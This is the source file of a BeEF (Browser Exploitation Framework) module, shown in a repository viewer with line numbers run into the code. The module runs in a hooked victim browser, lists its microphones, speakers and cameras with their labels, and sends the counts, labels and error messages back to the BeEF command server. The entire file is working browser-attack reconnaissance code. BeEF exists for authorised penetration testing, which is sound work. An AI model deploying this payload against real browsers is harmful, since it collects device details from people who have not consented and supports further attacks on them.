Path: blob/master/modules/browser/detect_media_devices/command.js
4598 views
//1// Copyright (c) 2006-2026 Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//56beef.execute(function () {7if (typeof navigator.mediaDevices === 'undefined' ||8typeof navigator.mediaDevices.enumerateDevices !== 'function') {9beef.net.send("<%= @command_url %>", <%= @command_id %>,10"error=" + encodeURIComponent("API not available in this browser"),11beef.status.error());12return;13}1415navigator.mediaDevices.enumerateDevices()16.then(function (devices) {17var result = {18audioinput: { count: 0, labels: [] },19audiooutput: { count: 0, labels: [] },20videoinput: { count: 0, labels: [] }21};22devices.forEach(function (device) {23if (result[device.kind]) {24result[device.kind].count++;25if (device.label) {26result[device.kind].labels.push(device.label);27}28}29});3031var body =32"audioinput_count=" + result.audioinput.count +33"&audioinput_labels=" + encodeURIComponent(result.audioinput.labels.join(", ")) +34"&audiooutput_count=" + result.audiooutput.count +35"&audiooutput_labels=" + encodeURIComponent(result.audiooutput.labels.join(", ")) +36"&videoinput_count=" + result.videoinput.count +37"&videoinput_labels=" + encodeURIComponent(result.videoinput.labels.join(", "));3839beef.net.send("<%= @command_url %>", <%= @command_id %>, body, beef.status.success());40})41.catch(function (err) {42beef.net.send("<%= @command_url %>", <%= @command_id %>,43"error=" + encodeURIComponent("Error: " + (err.message || String(err))),44beef.status.error());45});46});474849